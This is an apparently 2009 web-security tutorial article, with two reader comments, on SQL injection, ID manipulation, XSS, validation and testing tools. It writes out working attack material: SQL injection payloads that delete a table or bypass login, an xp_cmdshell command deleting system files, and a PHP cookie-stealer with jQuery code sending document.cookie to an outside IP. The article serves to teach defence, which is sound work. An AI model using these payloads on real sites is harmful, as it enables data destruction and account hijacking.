Community Pick: Many members of our community have endorsed this article.
Editor's Choice: This article has been selected by our editors as an exceptional contribution.

5 Steps to Securing Your Web Application

gr8gonzoConsultant
CERTIFIED EXPERT
Published:
Updated:
Paranoia should have limits in real life, but you can NEVER be too paranoid when thinking about your web application's security. If you've never given too much thought to it, then you REALLY need to read this. Chances are that someone could be deleting the contents of your database RIGHT NOW - and without even logging into your application!

I'll say this at the start and at the end: "NEVER fully trust anyone." That includes the other employees at your company, even the CEO. As a developer, you need to protect the users of your products from evildoers and also from themselves. To secure your applications, you need to first know your common vulnerabilities, so let's get started.

=== SQL INJECTION / MANIPULATION ===

Take a look at the following PHP code:
<?php
mysql_query("UPDATE accounts SET accountStatus='".$_GET["newStatus"]."' WHERE accountName='gr8gonzo';");
?>
NOTE: This is just an example using PHP/MySQL, but can be found in just about any programming language.

Now, 99% of your users won't screw with your system. Let's say that the above script is called updateStatus.php and is called like this:

  http://www.domain.com/updateStatus.php?newStatus=ACTIVE

...but you WILL eventually have one user who just wants to ruin things. The user will try to re-run the script and change the "newStatus" so that the URL looks like:

  http://www.domain.com/updateStatus.php?newStatus=';DELETE FROM accounts;UDPATE accounts SET accountStatus='

If you don't immediately realize what just happened, take a look at what actually ends up running:
<?php
mysql_query("UPDATE accounts SET accountsStatus='';DELETE FROM accounts;UDPATE accounts SET accountStatus='' WHERE accountName='gr8gonzo';");
?>
Now, without this evildoer even having full access to your system, he/she can run ANY query he/she wants, just by putting it into the "newStatus" variable. If they ran the above URL, your entire "accounts" table would suddenly be empty! Hope you have a backup.

Some people would say that this isn't a big security problem because there's no way for the malicious user to know that your table is called accounts, or what the original query looks like. Those people will one day be fired or sued. not only could a malicious user easily be a recently-fired employee who saw the source code and is taking his/her revenge, but most systems don't lock out users when their queries fail. This means that a malicious user could easily guess over and over and over again. And face it, most of us have a tendency to use common names for our tables (accounts, contacts, leads, billing, etc), and it's easy enough to create scripts that will loop through all the possibilities. These scripts make it easy to also test for table names in foreign languages ("cuentas" instead of "accounts").

Your malicious user doesn't even need to be logged in, either. A lot of login scripts will simply run a query like this:
mysql_query("SELECT * FROM logins WHERE username='".$_POST["username"]."' AND password...etc...");
In this case, all you have to do is inject your code into your username field. In fact, this is an easy way to hack into systems without knowing the password. If the malicious user changed the "username" field to contain:

' OR 1=1;UPDATE logins SET username='blah' WHERE 1=0 AND '1

Your ending query would look like this:
mysql_query("SELECT * FROM logins WHERE username='' OR 1=1;UPDATE logins SET username='blah' WHERE 1=0 AND '1' AND password...etc...");
The most important part here is the "OR 1=1" - that technically is a valid condition for any database row, so the query would probably return the first row (which could very well be the "secret" administrator account). The rest of the query simply ensures that the contents of the table don't change (1=0 would never be true, so the UPDATE query would not affect any rows, but it would cleanly finish the rest of the query - you could also use UNION SELECT instead of running an UPDATE). Using this method, a malicious user could get into your administrator account at any time, without your password and without you ever knowing. Scary, eh?

Microsoft SQL Server users (and some other DBs) should be even more frightened by this. By default, most SQL Server installations allow a special procedure called xp_cmdshell to be run. That procedure will run any program on the server:
EXEC xp_cmdshell 'del /F /Q C:\WINDOWS';
That has potential to do some serious damage (if I recalled the syntax correctly), but there are far worse things (e.g. installation of programs called rootkits to take over your server). I've personally experienced the latter first hand and was unknowingly running a German movie-sharing FTP server. (The server eventually ran out of space, but everything was cleverly hidden, including the processes and files, which is why rootkits can be so dangerous.)

The sad truth is that there are TONS and TONS of scripts that don't do any sort of validation or escaping on values before using them in a database query. If someone can change any value via a query string or via a modified form POST (both of which are trivial to do without changing anything on your site), then they have unauthorized, possibly-FULL access to your database.

So now the $64,000 question - how do I protect against SQL injection?

SQL injection is actually fairly easy to stop. It's just a matter of performing some validation/sanitation on your data before using it in a query. There are essentially two types of data - strings and numbers. Strings are usually encased in quotes, like this: WHERE name='John Smith' while numbers don't need quotes, like this: WHERE ID=123.

When your query encases a value in quotes, you'll want to "escape" the value. For examle, in PHP/MySQL, there is a function called mysql_real_escape_string(). It works like this:
<?php
// Pretend we're trying to hack in
$maliciousUserName = "' OR 1=1'";
$_POST["username"] = $maliciousUserName;

// The real query
mysql_query("SELECT * FROM logins WHERE username='".mysql_real_escape_string($_POST["username"])."';");

// What it WOULD have looked like without escaping
mysql_query("SELECT * FROM logins WHERE username='' OR 1=1'';");

// What the query looks like WITH escaping
mysql_query("SELECT * FROM logins WHERE username='\' OR 1=1\'';");
?>
With those escaping slashes, MySQL will look for a username that actually is called ' OR 1=1' instead of actually modifying the query itself and running something you didn't intend to be run.

Numbers are even easier to "clean" for use. My preferred way is to just run a regular expression that erases any non-numeric characters, like this:
$badNumber = "123 OR 1=1";
$cleanedNumber = preg_replace("/[^0-9]/","",$badNumber);
The preg_replace will strip out the " OR " and the "=" characters, since they aren't numbers, leaving "12311" behind, which is technically safe, but it's still susceptible to another problem - ID manipulation.


=== ID MANIPULATION ===
You should always be careful not to write queries that would give away information simply by changing the ID number. In the above example, if the query was going to display a phone number for a given ID, then a hacker could still mess with the numbers to be able to produce different IDs and see phone numbers that should not be shown. It might not be what the hacker originally wanted, but it could still be damaging.

However, that's more of a programming logic problem than something that can be fixed with data sanitation, but at least you're now aware of the problem!

One simple way to improve security on IDs is to add on a checksum. For example, let's say you had the following URL:

http://www.domain.com/displayPhoneNumber.php?userID=5

If someone just manually changes userID to 2, then... well, you see the problem. But let's add on something:

http://www.domain.com/displayPhoneNumber.php?userID=5&c=26

If you have logic that runs some sort of math formula that can convert 26 (or whatever the "c" value is) to 5 (or whatever the "userID" is), then your script can make sure the math is accurate before it allows the query to run. Here's a simple example:

<?php
// Function to create an extremely-simple checksum
function createChecksum($ID)
{
   return ($ID * 5) + 1;
}

// Use it to generate the URLs/links:
print "<a href='displayPhoneNumber.php?userID=".$userID."&c=".createChecksum($userID)."'>See the phone number</a>";

// An example link might look like:
// displayPhoneNumber.php?userID=5&c=26

// Before running the query...
if($_GET["c"] == createChecksum($_GET["userID"]))
{
	// The checksum matches - go ahead and run the query in this code block.
}
else
{
	// The checksum does NOT match! It could be a hacking attempt!
}
?>
Now, the function I showed above is EXTREMELY simple. By seeing 2 or 3 more VALID links, a hacker could probably figure out the algorithm and then be able to change the IDs and checksums, so it would probably be a good idea to make your checksum a bit more complicated (the possibilities are endless, but incorporating letters and long checksums is a good idea).


=== CROSS-SITE SCRIPTING / XSS ===

When I first heard of cross-site scripting (XSS for short) attacks, I didn't think much of them. XSS is a bad thing to underestimate, though. But first, what IS XSS?

Let's say you were browsing around some message board on a web site. Now let's say that some stranger on the message board could simply tell your browser to run some Javascript - ANY Javascript - that he wanted it to run. Depending on how much you know about Javascript, that might not seem like a lot (or if you know enough, then it's probably a scary thought).

Here are some of the nasty things Javascript can do:

- Install trojan horses / viruses / rootkits
- Steal cookies
- Redirect the browser to (or pop up ads for) inappropriate web sites
- Crash the browser

If you aren't protected against XSS attacks, then chances are that a malicious user on your site could create problems for all sorts of people, including you. The next step in understanding XSS and knowing how to effectively protect against it is knowing HOW it works. Let's create an XSS attack that steals cookies. Stealing cookies can allow you to log into someone else's account without knowing their username or password. (NOTE: If you're going to try this yourself, then do it on your own web application. Don't test on other sites, or else you could be facing some real trouble.)

For this example, let's assuming I am a no-good evildoer, and you are the owner of a popular message board. So I have a web server at 123.123.123.123, and a PHP script on that server that does nothing but save information that is sent to it. It looks like this:
<?php
// cookiestealer.php

// Mail newly-stolen data to me
mail("evildoer@somewhere.com","I just stole some data!",print_r($_REQUEST,true));
?>
This script doesn't do anything by itself. It needs something else to pass it data. Javascript can send it data. Here's a simple example using jQuery:
<!-- This specific example relies on jQuery being installed -->
<script type="text/javascript">
jQuery.post("http://123.123.123.123/cookiestealer.php",{data:document.cookie});
</script>
That script takes the contents of the current visitor's cookie and sends it over to my "cookie stealer" script, which immediately e-mails it to me. If you put this onto your web site, then all of your visitors would have their cookies stolen whenever they visited the web page that had this Javascript code on it. That would be ridiculous for YOU to do - you would never intentionally put malicious code on your server, right? So either I need to convince you to put my cookie-stealing code Javascript onto your web site or I need to figure out how to do it without you knowing.

This is where XSS comes into the picture. Let's say you allow your users to customize their own "signatures" using HTML, so they can put little pictures and stuff in there. Well, if you allow them to put in ANY HTML, then all I have to do is sign up on the forum, and then put this evil Javascript code into my signature. Now, whenever I post a message, my signature (with the invisible, evil Javascript) is also present on the page containing the message. My "trap" is now set (Admiral Akbar would be proud), and it's just a matter of time before someone sees one of my messages and triggers the trap. When someone DOES hit a page containing one of my messages, the Javascript in my signature will quietly take their cookie, send it to my server, and my server will email the data to me.

So now most people are wondering, well, why is stealing cookies desirable at all?

A lot (if not most) of all login systems use sessions to keep you logged in as you move from page to page. When you log in, the server creates a really long session ID that looks like:

  khsirk80f54g8um7heojkh8j61

It then stores this ID on the server's hard drive, and also gives the same session ID to your browser, which then stores the ID into a cookie.

This session ID is sort of like being a famous celebrity or a celebrity look-a-like. People just recognize you and won't even ask for any sort of picture ID or anything - they just let you into clubs or fancy restaurants and such because the people ASSUME that they know who you are. Of course, the downside is that if you LOOK like a celebrity, people will still assume (incorrectly) that they know who you are, and you'll get into places that you shouldn't be in.

Likewise, if you have a cookie with a session ID that the server recognizes as being a valid session ID, then it won't ask any questions - it will just let you in. You can test this out by logging into something in Firefox, then copying the cookie from Firefox into Internet Explorer (or any other browser on any computer), and then go to the same site in the second browser/computer. The second computer will automatically be logged in (as if it were already logged-in). The second computer is like a celebrity look-a-like. The server only sees a valid session ID - it doesn't care if the IP address is different or if the browser is different. If the session ID is valid, then that's all that matters.

So now you can see why stealing a cookie could be valuable. If the message board administrator were to log in and then see my message, I could take his/her cookie data, put it into a browser on my computer, and instantly be able to access all the secret, administrative areas of the site. I could probably also use my temporary, stolen privileges to simply make my own normal account into an administrator account, thus giving me far more, permanent access than I should have. (This is officially known as escalation of privileges.)

Voila - a full XSS attack, from start to finish.

XSS attacks aren't all about stealing cookies. The technical part of the XSS is simply allowing a user to put in code that could run as Javascript. The Javascript could do a variety of things, so in order to prevent XSS attacks, you need to do one of two things:

1. Stop the attack from being successful
or
2. Stop the attack from even starting

#1. Stopping the attack from being successful
It can be difficult to stop all XSS attacks from starting, so it's not a bad idea to take a few measure to keep them from being successful. For example, there is a cookie setting that lets a cookie be created as an "HTTP-Only" cookie. This means that the cookie is only readable by the web server, and the contents of the cookie can not be "seen" by Javascript. This is a good step to take, but it's a recent feature of most browsers, so older browsers will still use Javascript engines that will read the cookie.

A more thorough approach is to use a separate domain when displaying any user content. For example, I have a web application at www.domain.com that lets users create forms. They can put in their own HTML to layout the forms, too, but if they click on a button to preview the form, the data is sent to a script on preview.domain.com, which displays the preview there. Why is this better?

Reason 1: Cookies are domain-specific. If I create a cookie on www.domain.com, it will not be available on preview.domain.com. This security setting is in most modern AND older browsers. (One exception to this is if the cookie is created on a domain without any "www" or other subdomain attached. These cookies will be accessible by any subdomains, so your application needs it, make sure you specify the domain in the cookie settings.)

Reason 2: Without explicit approval/permission, Javascript cannot interact with any other pages on different domains in your browser besides the one it is on, so it can't do anything else to mess with your application's pages or layout. This is considered sandboxing (putting potentially harmful content into a window/place where it can't hurt anything else).

#2. Stopping the attack from even starting
Data sanitation is the key here. This simply means that before your application does ANYTHING with data from GET and POST and so on, the application should process the data and erase what shouldn't be there.

I previously mentioned using a regular expression to erase any characters in an "ID" number that weren't digits. You can use the same methods to erase any weird characters that wouldn't appear in a first name, for example. So let's say you had a form that the user filled out with their contact information, including first name, and someone tried to put XSS into the first name field, like this:

firstName = "<script>evil javascript here</script>"

Before your script does anything with the submitted data from the form:
<?php
$_POST["firstName"] = preg_replace("/[^a-zA-Z '\"\-\.]/","",$_POST["firstName"]);
?>
Now the $_POST["firstName"] variable is SANITIZED, ready to be inserted into the database and shown to visitors. People with first names like J.R.R. or "Jimmy" or Masheer-Abu will still be able to have their names shown how they want them, but Javascript will be rendered useless.

Run sanitation on all your user-submitted data before using it, and you should secure yourself relatively well.

A word of caution: there are ALL sorts of ways to execute Javascript nowadays, so it's good to at least see these different ways so you can make sure your data sanitation is catching all the potential problems. For example, Internet Explorer has a CSS function called "expression" that will run Javascript. The attacks come in all shapes and sizes, but I frequently check this site to see if there are any new updates:
http://ha.ckers.org/xss.html

Be careful when doing research on XSS. On some of the sites, there be dragons.

=== VALIDATION ===
Just a quick word on validation: never rely on Javascript to validate your fields. Javascript can be disabled or changed, so Javascript validation should ONLY EVER be viewed as a way to give some IMMEDIATE validation to normal users (without them submitting the form). All forms should have server-side validation (validation performed by PHP, ASP, or whatever your scripting language is), and that validation should be the first thing you develop. Server-side validation should complement data sanitation, and should ALWAYS be used. Not sanitizing and validating your user's data is just asking for trouble.


=== NEVER RELY ON UNLINKED URLS FOR PROTECTION ===
In the past, I've created some pages with some admin-type functionality and simply never linked to them. I figured that if I didn't publish the URL anywhere, there was no way to find it. I was wrong. There are a variety of ways to find "hidden" pages. One time, I had a co-worker bookmark the page. He used a special bookmark plugin to auto-share his bookmarks on his personal web page. Well, Google indexed his web page, saw the bookmark, and the "hidden" URL was now in Google. Never assume that a page's URL will stay hidden. Always protect sensitive pages.


=== TOOLS ===
I highly recommend using ParosProxy (free) to run a vulnerability scan on your web applications. There is a commercial spin-off of ParosProxy called Burp Professional Suite. I have no affiliation with it beyond being a user. Paros finds about 80% of the problems with my web applications, while Burp finds pretty much all of them. Still, ParosProxy is a good first step.
http://www.parosproxy.org/index.shtml
http://www.portswigger.net/suite/pro.html

I also recommend using Firebug (a plugin for Firefox) - it's mostly a development tool, but can be used for security testing. There's also a Firefox plugin called POSTer that lets you send whatever data you want to a URL as if you submitted a form to that URL.
http://www.getfirebug.com
https://addons.mozilla.org/en-US/firefox/addon/2691

Congratulations, you're now prepared to secure your application and you're also now aware enough to know where and when to look for more security problems. As promised, I'll end with this: "NEVER fully trust anyone."

Copyright © 2009 - Jonathan Hilgeman. All Rights Reserved. 
21
6,870 Views
gr8gonzoConsultant
CERTIFIED EXPERT

Comments (2)

aikimarkGet vaccinated; Social distance; Wear a mask
CERTIFIED EXPERT
Top Expert 2014

Commented:
What impact does session timeout have on the exposure for cookie-stealing?  
I'm sure there are trade-offs, but thought that the time window
reduction effort and headaches might be worth the added security.

If a session cookie is reissued, can it replace an older cookie?
gr8gonzoConsultant
CERTIFIED EXPERT
Most Valuable Expert 2023
Distinguished Expert 2023

Author

Commented:
@aikimark - I believe it to be more of a performance issue on high-traffic sites. You could re-issue session cookies on nearly every page hit if you wanted, but you'd end up deleting and creating session temp files constanty, which could severely affect performance (it would build up disk fragmentation quickly and also cause disk I/O delays).

I've seen a few apps where session IDs are also used to generate one-time-use tokens, and there are one-way hashes (like MD5) used for extra verification. Reissuing cookies could interfere with that or get it out of sync with what tokens are used and when, requiring that the browser completely reload a page in order to "re-align" itself with the latest session data. However, this whole concept is really dependent on how the application was developed and probably wouldn't apply to everyone.

Have a question about something in this article? You can receive help directly from the article author. Sign up for a free trial to get started.